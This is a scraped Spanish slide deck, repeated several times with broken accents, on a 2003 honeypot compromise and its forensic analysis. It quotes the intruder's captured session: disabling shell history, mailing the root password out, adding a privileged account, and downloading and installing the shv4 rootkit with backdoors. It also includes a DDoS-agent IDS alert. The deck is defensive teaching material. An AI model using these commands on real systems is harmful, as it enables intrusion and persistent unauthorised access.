Page 28: Demostracion Hacking Honeypot y Análisis Forense

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 29: Demostracion Hacking Honeypot y Análisis Forense

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 30: Demostracion Hacking Honeypot y Análisis Forense

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 31: Demostracion Hacking Honeypot y Análisis Forense

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

